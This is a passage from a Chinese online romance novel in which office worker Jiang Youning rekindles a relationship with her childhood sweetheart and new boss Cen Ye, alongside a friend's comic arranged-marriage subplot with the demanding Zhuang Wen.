“没时间跟你聊了,一会儿我得去岑曳姐那儿交个文件,然后把供应商那边的情况跟她彙报一下,之后我还得走。”江诗文往嘴裏扒拉着饭,眉头始终都没放松下来过。 “不午休啊?” “庄玟会连环电话call的,你知道她这个人多恐怖吗?”江诗文说着就来气,“我现在合理怀疑她是在报复我!” “前几天晚上她给我打电话,我以为是她主动联系我见面,结果跟我说,要我把会议记录快点上交,就差我一个人。” “她手裏不是有专人记录会议吗?缺我那一份吗?她绝对是故意的!” “我问她我说这么晚了你应该约我见面,说些促进关系的话而不是跟我聊工作,她就假惺惺地跟我道了一句晚安!不是她有病吧?!” 姜又柠拆了一粒软糖放在嘴裏慢慢咀嚼。 还是岑曳好。 虽然她跟庄玟没有接触过,但她还从来没有看到过这么崩溃的江诗文。 “总部那边的人都是这样的吗?”姜又柠靠着椅背,幻想着岑曳在国外时候的生活。 也是这样忙碌到不顾头尾,作息日夜颠倒,饭没时间吃,水也来不及喝吗? 岑曳还在国内工作的时候,就没找加班太严重的工作,所以作息还勉强比较健康,她的固定睡眠被没有提前确认好的事情打破的时候,整个人都会皱着眉头格外焦虑。 那她刚到国外的时候,应该很难适应吧? 姜又柠陷入遐想之中,分手了之后,她们每个人过得都很辛苦呢。 “肯定比这个还恐怖。”江诗文嘆口气,“我在总部就是打酱油的,因为我妈妈在高层,所以无所谓做多少事情,但那边是末位淘汰制,只有比别人做得更多才不会被甩掉。” “那你在总部的时候,跟岑曳走得近不近呀?”姜又柠开始对国外的岑曳好奇起来。 “她私下倒是挺温柔的,但为人比较客气,她跟庄玟在工作上就是一样的人,我跟她哪有共同话题?你应该找庄玟问她的情况。主要是我们三个人的母亲比较熟,但我没她俩拼命,年龄也比她们小一截呢。” 说着她又亲昵地抱着姜又柠的胳膊蹭了蹭,“我的柠柠宝贝!我还是喜欢跟你玩儿!” “我可不敢问庄玟。”姜又柠抿抿唇,“她可是我的大领导。” “你可以直接问岑曳姐啊,按照你俩往日的情分,她肯定会知无不言的。”江诗文快速将饭吃完,把包装盒扔进了垃圾桶,她看了眼时间,检查着手裏的文件,“我现在得去总监办公室了,要不你跟我一起去呗?” “不要,现在是午休时间。” “所以能聊点儿工作之外的话题啊!”江诗文拽过她的胳膊,“你问岑曳姐国外的生活,说不定我能打探点儿庄玟的情况呢?这个该死的女人!我不会放弃抓她的把柄的!” 姜又柠不情不愿地被带去了总监办公室。 事先发过消息,所以岑曳对于江诗文来交文件倒是不意外,不过看到她身后的跟屁虫倒是多分去了一些视线。 “我跟着诗文来交文件,跟她一上午没见了,想她了。” “哦……”岑曳拖长尾音,翻阅着文件,“跟我也一上午没见了吧?来办公室也是因为想我了?” 姜又柠惊恐地看了她一眼,跟身边露出奇怪眼神的江诗文对上了视线。 “她,她最近很喜欢开玩笑……”姜又柠尴尬地指了指岑曳,“乱看综艺,乱学笑话。” “综艺不是跟着你看的恋爱综艺吗?”岑曳没结束掉这个话题,反而顺着她继续往下说。 “复播了吗?我得找个时间看看!”江诗文的注意力立即被转移了,“自己看好没意思,你来家裏陪我嘛柠柠。” “她最近要忙着月度彙报的事情,没空。”岑曳替她回答,“你讲你的事情,注意力不要跑偏。” “……好吧。”江诗文收了心,开始彙报着早上跟供应商的会议以及近期合作方的情况。 姜又柠找了张椅子坐下,观察着女人的脸。 今天的岑曳很不一样。 以往的女人都是涂了个淡色口红来提气色,今天画了眉毛,口红的颜色也重了一些。 妆容将她的脸衬托得更加精致,红唇也颇为冷艳,气场要比过去强了不少。 不过黑色西装外套没脱,领结的话,倒是没戴。 姜又柠一点一点将岑曳的变化找到了,女人感受到她的视线朝着她望过去的时候,姜又柠来不及躲避,直勾勾地跟她对上了眼神。 “切。”姜又柠冷哼一声,别开了头。 江诗文大致彙报了二十分钟,岑曳点点头又追问了几个细节,江诗文思索了下,答得磕磕绊绊。 “哎呀岑曳姐,你问庄玟嘛,事情太多了我自己都捋不太清的……”江诗文哭丧着脸,整个人都有些崩溃。 “算了,你休息会儿吧。”岑曳摆了摆手。 江诗文正准备离开办公室,手机铃声就响了。 ——“两点半有个临时会议,不要迟到。” 接起来不到三秒钟,电话就被挂断了。 几个人都听得出来是庄玟,姜又柠同情地看了一眼她,安慰的话也不知道该怎么说。 江诗文咬牙切齿,“岑曳姐,柠柠,我先走了!” 目送着她离开之后,姜又柠就发现自己孤零零落在了办公室,“那我也走了,我还要午休呢。” “急什么?”岑曳站起来,将一直穿在身上的外套脱掉了。 姜又柠这才发现岑曳身上的这件白色衬衫,领口那处是镂空的,将胸型衬托得很好,后腰的肌肤也大敞,配上她今天精致的妆容,姜又柠眼前亮了又亮。 “你穿这个不冷吗?今天降温得很严重。”姜又柠舔了下唇收回视线。 前段时间天气那么热都要穿严严实实的白色衬衫,把自己捂得那么禁欲,现在怎么回事? “……”岑曳扫了她一眼,“是不是换黑色更好看一些?” 姜又柠眯了眯眼睛,揣测着女人的想法。 应该没有在给她挖坑吧? 这实在太奇怪了。 “这件就挺好看的。”姜又柠想不出当下诡异氛围的原因,除了夸赞之外别无话说。 “是吗?”岑曳走近她,保证她的视线范围内只有自己。 姜又柠重重点头,“很漂亮,很迷人。” 成功地勾引到了她。 勾引……? 这个女人该不会还在因为她昨晚夸了一句恋爱综艺裏面小情侣的事情生闷气吧? “又在开小差。”岑曳掰正姜又柠的脸,要她看着自己,“眼裏只能有我,知道吗?”—— 作者有话说:时刻践行小姜大师真言的岑姐一枚吖~~ 我们岑姐发现煽情和暗示都不管用之后,选择来直白的[害羞][害羞] 第33章 从办公室匆匆逃离出来, 姜又柠就直奔了卫生间洗了把冷水脸。 午休时间只剩下不到二十分钟,她趴在桌子上睡不着,满脑子都是岑曳刚才那件镂空衬衫。 拿出镜子一看, 脸颊还是红的。 岑曳刚才肯定也看见她脸红的样子了吧? 这是热的,她今天穿半高领热着了,才不是因为什么害羞! 姜又柠双手捧着脸, 伸出食指使用一指禅敲着键盘。 痛苦的周一,不过这周周四国庆, 她只用上三天班就可以休息了。 斜对角的刘姐在岑曳空降之后就没有再露出过笑脸, 她的年纪又不小了, 工作强度突然拔上来, 她根本吃不消。 【刘姐:来了一个月了也不说搞个团建促进一下部门裏的感情,新总监那儿不跟着调过来好几个人吗?】 【AKA整顿职场场王:不是可以提建议吗?我建议大家都写一封匿名信让助理送到总监办公室去,上次不知道哪个被裁的给总部写投诉信去了,后面几天岑总监裁得更疯狂了……】 【AAA奖金部部长小张:我觉得岑总监不是软硬不吃的人, 我们派个说话厉害的先试一试她的底, 再派个看着就乖的去她那儿服软求个情。】 【刘姐:我看行,我争取假期前去办公室跟她聊聊,一边裁人一边加工作这谁受得了?】 【退休老员工:过段时间总部对接的那个庄负责人也要来部门办公的,听说这位比岑总监还厉害呢,我们得先把岑总监拉拢过来, 别让她在毒瘤堆裏吸收毒液了。】 【刘姐:@什么都不酸只酸奖金的柠檬。】 【刘姐:又柠啊, 你是咱部门裏最乖的孩子了, 你找个时间也去摸摸岑总监的底,我见她跟你说话的时候笑容还挺多的。】 右下角的微信倏地闪了闪,姜又柠点开群聊,扫了扫上面几十条聊天记录。 【什么都不酸只酸奖金的柠檬:好的, 我会的刘姐。】 姜又柠简单回了句,继续忙起了自己的事情。 她听岑曳给她透露过,月度彙报做得好会加奖金的,这绝对算只有她自己知道的内部消息了。 在奖金没有拿到之前,她会暂时停止摸鱼,努力成为一名部门毒瘤的。 【刘姐:看把我们妹妹忙成什么样了,话都回不了两句。】 屏幕又跳出几句话,姜又柠把界面关掉了,皱着眉头对着自己成堆的工作嘆了口气。 她还想把对接那边的工作随便在彙报裏面编上几句。 这是她在上一家公司裏学到的,只要你知道项目内容,不管你做了没有,先写上去再说,这样这个项目裏就有你的功劳了。 再跟同事们的彙报对比一下,只要够突出,就算平时做得不是最好的,但在上司那裏多多少少也能露个脸。 姜又柠现在急需一个在岑曳那裏证明自己工作能力的机会。 不知道为什么,她突然很想让岑曳知道,分别的这几年裏,她是成长了的,而不是小时候那个只会跟在岑曳屁股后面张牙舞爪的小屁孩。 被岑曳真心夸赞的感觉很好,就像有一次她成绩进步特别大,她在女人的脸上看到的那种舒心的笑容。 她可不是一无是处的小姑娘! 快下班的时候,姜又柠看了眼办公室的方向,裏面灯光大亮,还没有要下班的意识。 【姜又柠:我先回家了!】 她给岑曳发了条消息就挤进了电梯裏。 以前姜又柠都是下班就溜,跟岑曳能碰得上就一起回家,碰不上就随便,这次她莫名的就想告诉岑曳一声。 家裏岑曳的卧室门没有关,姜又柠走过去下意识帮她关上,看见了她桌子上的那个貍猫玩偶。 规规矩矩地摆在了左上角,脖子上系了条红色的丝带,蝴蝶结整整齐齐。 看起来也挺像红色围巾的嘛。 姜又柠扬了扬嘴角,关上门回了自己的房间。 狐貍玩偶一直在她枕头旁边放着的,不过每次岑曳跟她一起睡觉的时候,玩偶都会被她藏起来。 她才不想让岑曳看见自己把这个玩偶看得如此重要。 但现在姜又柠也把它拿出来,放到了被窝裏,要玩偶枕着自己的枕头,盖着自己的被子。 倏地,她像是想起什么,往床头桌上看了一眼。 她找出的九宫格大头照不见了! 姜又柠蹲下来在地上,抽屉裏,甚至床底下都找了找,没能找到照片的踪迹。 这两天就只有岑曳进过她的房间来着…… 可直白地问目的性又太明确了。 姜又柠苦恼地平躺在床上,双手将狐貍玩偶举得高高的,“……岑曳,你还是喜欢我的吧?” 昨晚跟岑曳在清醒的状况下做了,还在承受不住的时候喊她姐姐,求她慢一些快些结束。 过去她们就是这样的,姜又柠没能改掉这个习惯。 想她吗? 确实是想的,但在岑曳面前承认这一点,还是有些羞耻。 “我好像还是忍不住喜欢你……怎么办?” 姜又柠将玩偶放在胸口,口中喃喃道,“如果再来一次的话……我们的结果会跟过去一样吗?” 她不知道,她心裏没有任何底。 她甚至不清楚岑曳到国内究竟是不是为了她,是因为工作正好回国又恰巧碰到她,当下没有遇到新的喜欢的人,所以才跟她蓄意接触;还是说,就只是想跟她复合? 过去的岑曳喜欢她这个开心果,她跟姜鸿英还有岑曳坐在一起吃饭的时候,氛围是温暖的,她格外清楚过去的岑曳感情的由来。 但现在呢? 她没什么能给她的,人成年之后多数都会独立生活,她们在一起的时候,还会有温暖的家的感觉吗? 岑曳喜欢她,到底是爱情般的喜欢还是小时候恰巧被造就出来的家庭氛围? 感情真让人头大,她从小到大都捉摸不透岑曳的想法。 她不折腾她的时候,她就会生气;她不理她的时候,她也会生气。 明明岑曳比她还会耍脾气嘛,现在她跟她讲自己住出租屋的事情,还要生闷气。 一起看恋爱综艺,醋意更是蔓延的没边儿了。 这个女人真的是奇怪。 那岑曳最近有笑的时候吗? 姜又柠思索着,好像她们接吻的时候,这个女人是笑着的。 还有她夸赞她对自己好的时候,也是对自己笑着的。 姜又柠的手指抚摸着自己的唇,还能够回想起昨晚被压在门后亲吻的感觉。 她忍不住双手捂脸,两脚扑腾了几下,发出了闷闷的笑声。 跟岑曳接吻的感觉…… 还是很不错。 听到门锁的声音,姜又柠从床上起来,从房门后面小心翼翼地探出了一个脑袋。 “鬼鬼祟祟做什么呢?”岑曳看她一眼,将笨重的公文包放下了。 “都九点了,你吃晚饭了吗?”姜又柠贴心地问候她。 她想明白了,要想知道能不能跟岑曳再试一次,她得先摸清岑曳对自己最真实的想法。 “不吃了,不怎么想吃。”岑曳脱了外套,又露出那件镂空衬衫。 “你洗澡换睡衣吧。”姜又柠说,“我可以给你煮碗面条吃,你想吃吗?” 她又改口,“没食欲的话我给你多放点醋,提鲜开胃,怎么样?” 女人抬眸看她,揣测她心裏又在打什么鬼主意。 按照前段时间的状况来看,跟她贴近点儿距离都要弹跳着跑开甚至几天不理人搞冷战。 昨晚毫无预料地躺到了一张床上,今晚就要主动给她下面条吃? “不会下毒的,你什么眼神?”姜又柠质问她,下一秒立刻僞装笑容,“我给你多打两个鸡蛋进去,再另外加一个荷包蛋,你肯定很想吃吧?” “可以啊。”岑曳揉了揉发痛的胳膊,先坐在沙发上休息了会儿。 “给你一条毯子,嘻嘻。”姜又柠笑眯眯地将一条毯子盖在了女人的腰上,准备往厨房走的时候就被她抓住了手腕。 “姜又柠?”岑曳将她扯近了些,盯着她的眼睛看。 姜又柠后撤了下脑袋,别扭道,“干,干嘛?” 距离逐渐靠近,女人的呼吸喷洒在了她的颊边。 姜又柠吞咽了一下,“你想亲我吗?那得等晚上。” 岑曳眉尾微扬,“……行。” 手被松开之后,姜又柠小跑着就进了厨房,关上门靠着捂着胸口大喘气。 岑曳还吃这一套吗? 她现在自己都觉得这套很幼稚很没脑子了啊。 可恋爱中的人好像是不需要脑子的。 姜又柠进行了一个深度思考,发现全是歪理。 她往锅裏加水开了火,又去了冰箱裏面拿了三个鸡蛋和面条,全程没敢往沙发那边多看一眼。 姜又柠做饭是比较慢的,她没办法同时进行好几件事,之前水滚了她就下了面条,但蔬菜洗得慢,做好之后面条都煮得发脓发烂了。 所以她为了保证万无一失,会提前把所有食材都准备好,鸡蛋也打好之后才会放心地开火。 姜又柠调成小火,中途想问一句岑曳想不想吃圣女果,便发现沙发上空荡荡的,只有浴室传来了水流声。 真有精力,这才坐下来歇几分钟啊。 她以往加班加久了,回家之后洗也懒得洗,直接倒头就睡,一觉直到天明。 等她把面条端到餐桌上、洗好的圣女果也拿出来之后,浴室那边就变成了吹风机的声音。 岑曳走到客厅的时候,就看见姜又柠坐在餐桌上,双手捧着下巴,眼睛亮亮地看向她。 剎那间,她晃了神,好像回到了过去在岑家的时候。 这是姜又柠最擅长的饭,做起来也简单不需要太复杂的流程,她小时候自己在集体宿舍用火就会给自己下面条吃,在岑家努力在岑曳面前大显身手的时候做的还是面条。 姜又柠双手把筷子递给她,“请岑总监慢用!” 回忆被称呼打断了,岑曳接过筷子问,“你不吃吗?” “我吃过了。”姜又柠拿起一颗圣女果塞进嘴裏,“国庆假期后,那个月度彙报对于奖金的影响占比大吗?” 岑曳搅拌着面条的手停了下,不悦地嘆了口气。 原来讨好她就是为了奖金。 “奖金主要看绩效。”岑曳坦然道,“月度彙报就是让每个人对近期的工作内容做个总结,一下子安排这么多,总得有个借口让她们好好缕一缕,只有这样才不会偷懒。” “我的努力程度您可是都看在眼裏吧?”姜又柠自信地昂起了脑袋,“我兢兢业业,这个月也就迟到了一次,还是因为……” “因为什么?” 因为你呗。 当然这句话姜又柠不敢直言。 “我会努力的,岑总监!”姜又柠握拳给自己加油。 保证了工作的决心之后,姜又柠决定在日常上开始嘘寒问暖。 “你今天穿那个太薄了,今天天气特别阴冷,你这样穿会感冒生病的。” 岑曳抬眼扫她,“你不喜欢?” “喜欢!太漂亮了!岑总监穿什么都好看!”姜又柠露出两排洁白的牙齿,“但我太关心您的身体健康了,您要是生病的话我会心疼的。” 面条吃得心裏添堵,岑曳一想到都是为了奖金这样好声好气地跟她讲话就不怎么高兴。 姜又柠看得疑惑,她没说错什么话吧?这个女人的脸色好像越来越差了。 后半程姜又柠也不敢怎么畅言了,直到江诗文给她打了通电话。 ——“柠柠,救救我!我要死了!你来救救我!!!” 声音压得很低,姜又柠来不及回答电话就被挂断了,感觉这通电话是在江诗文偷偷打出来不敢被发现的一样。 “诗文怎么了?这个点应该下班了吧?”姜又柠满脸疑惑,“我去她家看看吧。” “她应该在忙。” “你怎么知道呢?万一是遇到危险了怎么办?”姜又柠又飞速发过去几条消息,始终没有等到回答,“我去她家看看!她之前都没这样给我打过电话的!” “我跟你一起过去。”岑曳起了身将碗放进了厨房的水池子裏,两个人换了鞋子匆匆忙往江诗文的家裏去了。 距离近得很,姜又柠知道江诗文的电子锁密码,想也没想就开了门走进去。 “诗文!” 客厅裏的两个人面前都放着一臺笔记本,闻言朝着门口看过去。 庄玟蹙了蹙眉,“你这样擅自把别人喊过来会影响我们两个人的约会。” “谁家约会是一起加班啊!”江诗文哭丧着脸,把电脑合上了,“我不干了!” 岑曳在门口抱胸站着,整个人都颇为无奈。 “诗文,你没遇到危险吧?”姜又柠仔细瞧了瞧,但看着不远处两个人的表情都不太好,也不敢往前走几步。 “我唯一能遇到的危险就是加班太久,电脑负载过重爆炸了!” 岑曳走过来,将姜又柠拦在身后,“她这几天在忙月度彙报的事情,还是不要因为这点小事儿把她喊过来了。” 庄玟扯了扯唇,看着两个人身上的睡衣,理清了事情的原委,“打扰了你们的二人世界,真是抱歉啊。” “不打扰的不打扰!”姜又柠站出来,“诗文,你没遇到危险就行,看你打了那个电话,我吓了一大跳呢!” “你跟岑曳姐要睡觉了啊?”江诗文也有点懵,今天一天上班时间实在太久,她脑子晕晕的,也不知道自己在干什么,此刻也意识到自己那通电话确实有点迷惑人了。 姜又柠刚想开口,话就被岑曳抢过去了,“嗯,准备休息了。” 江诗文的注意力也很想被她们两个人身上的睡衣吸引走了,“你俩……” 岑曳依旧不解释,“没事的话,我就带着她先回去了。” 门很快就被关上了。 江诗文的脑子依旧呆呆的,她木楞地将电脑重新打开,“她俩什么情况啊?” 感觉很不对劲啊。 庄玟姿态懒散,“什么情况,有点情况?” “你连这种东西都懂?” “我是没兴趣恋爱,不是没有恋爱神经。” 江诗文冷哼,“哦,那真是祝贺你啊。”—— 作者有话说:岑姐自带家属感,没办法~~ p:请来欣赏我们办公室的新封面和人设图!咋这么美[害羞][害羞] 第34章 确认了江诗文没什么危险之后, 姜又柠的心就放松了。 她慢悠悠地往家裏走,看见自己跟岑曳身上的睡衣,没忍住笑了笑, “我们两个好傻,穿成这样就跑出来了。” 岑曳看着她晃来晃去的手,犹豫了下没什么动作。 恰巧路边有辆车子经过, 岑曳抬手将前面大步迈的她捞了回来。 下一秒,两只手就这么自然而然地牵在了一起。 姜又柠愣了下, 偷偷瞄向身边女人的脸, 发现她面容上一点儿异样都没有。 她垂下头, 努力压抑着上扬的嘴角, 继续漫无目的地前后晃着手。 “小时候你吃饱饭,我们也会出来散步消食。”岑曳望着前面的地面,晚上的风吹得更凉了,手上没有外套, 她看了眼姜又柠单薄的睡衣, 她脚步加快了些。 “还有成绩考得差,在门口不敢回家,正好你回来了,我就让你带着我出门逛了会儿再回去。” 岑曳勾了勾唇,“记得还挺清楚的。” 姜又柠的话说得很低, “……跟你在一起的事情我都记得很清楚。” 她现在只是不提, 过去那些事情岑曳说不定还没有她刻骨铭心。 女人没再说话, 姜又柠也不知道她有没有听见自己的那句话,只是感受到交握的手力道加重了些。 回到客厅,暖意就袭了上来,姜又柠抱了抱自己的胳膊, “那我去睡觉了?” 天气越来越冷,她在家的时候只想赖在床上,不睡觉的时候就玩手机。 这样浪费时间很有意思,是她最喜欢也最便宜的消遣方式了。 岑曳正在厨房洗着刚才的碗,“忘了刚才说的话?” “什么?”姜又柠仔细想了想,没反应过来。 岑曳将碗放进橱柜裏,擦了擦满是水渍的手,无奈地看了她一眼。 “干嘛去啊?”姜又柠看她走动的身影,没能等到女人的进一步解释。 “洗澡。” “又洗,不就出了个十分钟的门。”姜又柠嘟囔一句回了自己的卧室。 她给江诗文发了几条安慰的消息过去,这场面她也没经历过,要是岑曳天天在家裏逼着她一起加班,那她绝对会连行李都不要立马搬走的。 【江诗文:客房给庄玟住了,好烦哦,要是在我家裏的是你就好了。】 【江诗文:这样我们就能一起窝在沙发上看恋爱综艺冒粉红泡泡了,我现在就是抱着电脑脑袋上在冒白色的烟。】 后面跟了个可怜兮兮的表情包。 【姜又柠:回头找时间我陪你再把恋爱综艺看一遍!】 江诗文又回了个疯狂磕头的表情包。 下一秒庄玟就从厨房裏走了出来,手裏端着两杯咖啡,“今天休息不太好吧?提提神。” 江诗文给她一个‘你有事吗’的眼神,“现在都快十点半了,今晚不睡了吗?” “你困的话可以先去休息,我得在今天把事情处理完。”庄玟将咖啡放在她面前,“真不喝?” “我不喜欢喝咖啡。” “哦。”庄玟点点头,“我也不怎么喜欢,只是为了提神。” 手指在键盘上敲敲打打,庄玟又问她,“那你喜欢喝什么?” “奶茶,果汁,可乐。” 庄玟皱了皱眉,“今天我的包裏只装了速溶咖啡。” “好歹我们在国外也认识了好几年吧?你就这么不了解我?”江诗文有点生气,“你能不能学学岑曳姐对柠柠的那个态度来对我?” “那种态度建立在感情基础上,我对你没这个感情基础。” “确实,人家两个可是青梅,哪儿像你啊,半中间冒出来的工作狂。而且你不是说要好好发展关系?” “看不出来你要跟我好好发展关系的意愿。”庄玟冷冷回绝,“我也没这个时间跟精力。” “什么时候去国外登记结婚?”这个日子还没定下来,就像一个已经结果未知期限的死/刑,江诗文的心裏始终有个硬疙瘩存在。 她一天都熬不下去了。 她现在只想快些把证领完,然后找岑曳把她再调回部门去。 跟庄玟待在一起,简直是对她工作和生活的双重折磨! “材料商那边有点难啃,卡住了,得再等等。” “是那个非要提价的吧?总部那边给的标准是多少?” “没有标准,看情况往下压就好了。”庄玟说,“我已经向总部说明了情况,同时物色了两家新的材料商,质量和价格都不错,目前这家最好一直把腰杆儿挺直了,这样正好就有理由换掉了。” “你谈生意这么不讲感情?这家材料商之前跟另个部门合作过的。” “谈生意讲什么感情?拿到手的钱才是最直观的。” 江诗文摒弃她这种思想,“那你跟我结婚就只为了钱吗?为了自己家裏公司的发展奉献这么多值得吗?” “我在为自己的公司奋斗。”庄玟淡淡看她,“与其深究我努力工作是否值得,还是先问问你自己,你有没有为家裏奋斗过一点点,成年之后就大老远跑到国内,为了不跟我结婚跟家裏闹矛盾,这样做值得吗?” 江诗文罕见地说不出话来,她站起来摔了凳子,“庄玟!我再也不想看到你了!” 庄玟抿了口咖啡,望着江诗文气冲冲回卧室的身影,面上没什么情绪。 她看了看江诗文的电脑屏幕,上面是一份粗糙的策划案。 庄玟放下手头的工作,在这份策划案上点开了批注模式。 情绪价值是最没用的东西,她帮她在工作上面进步,应该也有点促进关系的作用?- 从浴室裏出来的岑曳径直敲响了姜又柠卧室的门。 姜又柠立即合上手机开了门,“怎么了?” “我想亲你。” 直白的话让姜又柠吓得后退了一步。 “不是你说的吗?让我晚上来找你。” 姜又柠终于意识到刚才在厨房的时候她没能反应过来的话是什么了。 岑曳看着她慌慌张张的神情,眉眼中的笑意愈发深了。 拿姜又柠自己说出口的话返回去逗她,从过去到现在,她始终乐此不疲。 “那,只能亲一下。”姜又柠佯装镇定,努力保持脸不红心不跳,并且往前迈了一小步。 自从那晚,她们又一次意外地突破了界限之后,好像现在做什么都是非常自然的了。 姜又柠不会过多别扭亲吻,因为她是想跟岑曳再次靠近的。 就像再次偷情那样……? 现在,她们的妈妈依旧不知道她们在合租,甚至马上快要旧情复燃。 虽然她们现在表面从未聊过这些事情,但姜又柠知道自己还是喜欢她的。 岑曳定定站着,只含笑着看她,没做什么动作。 “你……”姜又柠迟疑地看她。 “怎么?” 姜又柠呆了两秒钟,意识到岑曳又在逗她,“不亲算了!” 倒像是她非常主动一样。 岑曳见她又气鼓鼓的,捞过她的手,道了‘好了好了’之后就吻上了她的唇。 女人的手贴着她的下额,掌控着她的脑袋,不允许她乱动。 面上看着温温柔柔的一个女人,接起吻来却总是这么强硬。 姜又柠被迫仰着脑袋,只能受下女人的亲吻。 亲吻来得又急又快,她推搡了下岑曳想要躲开,腰后倏地落下女人的掌心,将她整个身体往前面带。 姜又柠的胸脯贴着她的,只能去咬她的唇。 岑曳微微吃痛,捏了下她的腰间软肉作为报复,姜又柠呜咽一声瞪着眼睛看她。 “不是你要亲的吗?反悔啦?” 姜又柠最讨厌她这种故意反问她的语气,偏偏还是笑着的,她连气都不好意思撒。 但现在她才管不了那么多,往前迈了几步,将女人按在墙上,“对啊,我现在就是要亲你!” 姜又柠努力反客为主,主动去舔女人的唇,学着女人的方式反过来去咬她的唇珠。 她嗅到女人身上熟悉的皂香,居然是青柠味儿的。 “你还偷用我的手工皂!”姜又柠更气了,用舌头去勾女人的舌尖。 岑曳来不及解释这是工作室送错了款式,任由姜又柠在她唇上胡作非为。 女人垂眼看她的模样,双颊绯红,眼睛裏染着水雾。 她抬手将卧室内的灯关掉,姜又柠颤了下,往她的怀裏扑。 “唔……碰到灯的开关了……”姜又柠轻喘着用手往上去探开关,下一秒手腕就被女人抓住了。 “现在轮到我了,对吧?”岑曳直勾勾盯着她的眼睛,将她双手禁锢在她的身后。 姜又柠忍不住往前挺胸,主动将自己送了上去。 岑曳先是轻舔她唇上的湿意,舌尖故意在她下唇上来回扫动描绘。 痒意让姜又柠用牙尖咬自己的唇,整个人都有些麻。 指腹捏着她的耳垂,不轻不重地揉,姜又柠肩膀瑟缩了下,侧着头往她怀裏再次栽过去。 双手被松开了,她也没有力气反抗,手掌搭在女人小臂上强撑着自己的身体,依旧仰头迎合着仍旧没有停下来的亲吻。 实在亲得太久,姜又柠感觉到自己哪裏都被亲得湿漉漉的。 热烈的深吻之后就是甜蜜的爱抚,岑曳从她额头上顺势往下,一点点顺着她的山根、鼻尖、颊边、再是嘴角,还发出了细微的‘啵’声。 清冽的青柠香格外好闻,姜又柠忍不住埋在女人的睡衣间深嗅,大口呼吸的她将热气全喷洒在女人大敞的领口。 “今晚还要一起睡觉吗?” 没等姜又柠拒绝,她整个人就被抱起来放在了床上。 狐貍玩偶可怜地被女人拿起来扔到床的角落裏,有她在,姜又柠就不需要这只玩偶。 岑曳喜欢从后面抱住她,将她整个人都拢在怀裏,她逃不开,女人也能抱得更紧。 姜又柠的后颈被她亲了下,她蜷缩起双腿,眯了眯眼睛。 “岑曳……”她迷迷糊糊地喊她。 女人应了声,将头埋在她的颈窝裏,“怎么了?” “我的九宫格大头照,是不是被你拿走了?” “桌上的那个?” “嗯……”姜又柠声音哑哑的,“只有一份来着,拍的时候给你你不要,现在干嘛拿走?” “为什么突然把大头照找出来了?”岑曳问她,或许跟她一样,也在回忆过去的甜蜜。 当时她没要大头照是因为只要人在身边就够了,照片太死板不生动,她喜欢鲜活的,会跟她讲话亲吻的姜又柠。 但后来分别得突然,她什么都没能留下。 姜又柠不好说实话,她本来是把杂物收出来准备扔掉的。 “回头拍张新的好不好?” “太幼稚了,我现在不要拍这些!”姜又柠在床上没睡着的时候习惯性翻身,但一翻身她就会跟岑曳面对面,于是还是作罢了。 岑曳没应,两个人沉默地抱了好久。 姜又柠没能睡着,无声之中,暧昧的气氛散了很多。 现在在重蹈覆辙吗? 她们还会被两个母亲发现吗? 被发现了之后会怎么样呢? 姜又柠不敢去随意揣测结果,她会骗别人自己永远往好处想,但自己孤零零去幻想的时候,却总是会考虑到不开心的地方。 “不拍就不拍吧。” 好久岑曳道出了一句话,姜又柠顿了下,“你还没睡着啊?” “只要没睡着,就能一直这样抱着你,不是吗?” 姜又柠莫名听出了些许酸涩的情绪,“你想的话,也可以拍的。” 岑曳轻轻笑了笑,照片留下的只是美好的记忆。 而她现在越来越有自信,能够留下姜又柠整个人了。 这个小姑娘依旧好猜,依旧胆小。 这次,她依旧会牵着她的手,保护好她,保护好她们来之不易的感情。 第35章 距离国庆假期还有两天, 姜又柠在小纸条上写了倒计时N小时来哄自己。 上班多好啊还有钱赚,上学那么痛苦还要倒贴的,姜又柠心安理得安慰自己, 又开始了痛苦的一天。 意外的是,江诗文抱着电脑在半个小时之后坐了下来。 “今天没去庄玟那儿吗?”姜又柠瞄了眼电脑右下角,“还是你已经早早地去过了?那这个打卡算迟到吗?” “我就是迟到了, 刚起。例假来了肚子好痛,”江诗文大言不惭地回答, “庄玟那儿我不去了, 我要找岑曳姐给我调过来。” “怎么了?昨天晚上不还是好好的?” 姜又柠跟江诗文认识一年多了, 彼此的性格也算特别熟悉了。 她能够分清江诗文到底是找个气口发洩一下坏情绪还是真生气。 昨晚明显是工作太多脑子混乱, 不像是真发火了。 “庄玟说话太难听,我不想见她了。” “闹矛盾啊?她说啥了?” “她觉得我不成熟,为了不想跟她结婚跟家裏吵架自己大老远跑到国内不值得。”江诗文双手握拳,“还没人敢这么说过我呢, 我前段时间跟我妈妈和好的时候, 我妈还心疼我瘦了呢,我妈都没生我的气,她有什么立场有什么资格这么说我!” “你小声一点……”姜又柠碰了碰她的胳膊,压低了声音,“部门裏都不知道你跟总部的关系, 你还想让她们都知道啊?” “那肯定不能。”江诗文洩了气, “本来岑曳姐把我调去庄玟那儿, 我就感觉出来有的人看我的表情都不对劲了,她们觉得我没那个实力跟外务。” “那你调回来不是正撞她们枪口上了吗?有些人巴不得你做不好丢工作呢。” “可庄玟那边真不是人能待的……”江诗文说,“现租的工作室很小,本来办公的时候就有点压抑, 一整天都没人说一句废话,没多久就要开会,那儿开一个这儿开一个,供应商一个渠道商一个,还要时不时跟总部彙报对接沟通情况,我是人啊!” 她哭丧着脸,“牛和马都知道饿了不干活,牛马挨着饿还要工作……” 好难听的实话。 姜又柠从抽屉裏给她拿了个夹心面包和牛奶,“没吃早饭吧?垫垫肚子。” “好想吃肉哦……” “国庆放假了我陪你去吃嘛。”姜又柠觉得自己像个成熟的大人,“假期跟中秋节连着的,有八天呢。” “可是你不是要忙月度彙报的事情吗?岑曳姐好像不太乐意让我见你。”江诗文抿出了其中的不对劲,“好奇怪啊,我们三个都是好朋友的话,不应该我们三个一起玩吗?她比庄玟温柔多了,不会嫌弃我们两个幼稚的啊。” 她意识到什么,抓住了姜又柠的胳膊,“柠柠,她是不是暗恋你!” 姜又柠面无表情地在屏幕上敲出了一行空格,随即又删除掉,“有……吗?” “我就知道你俩有情况!”江诗文侃侃而谈,“我跟你说,庄玟肯定也看出来了,她那个毫无恋爱感的脑子都赞同了我的话,我之前就觉得你俩不对劲!最开始的时候明明说要独居,莫名其妙就跟你合租了,后来你喝醉了还给你煮醒酒汤,我昨天给你打电话她穿睡衣跟着来就算了,没说两句话就要带你走!跟你聊天的时候脸上全是笑容,还不是那种礼貌又客气的笑,你能懂我吗柠柠!” 姜又柠拿起水杯,战术性地喝了一大口水,忘记了温度又被烫了下舌头,脸蛋皱了皱。 “你俩挺合适的,在一起吧,我同意这门亲事!” 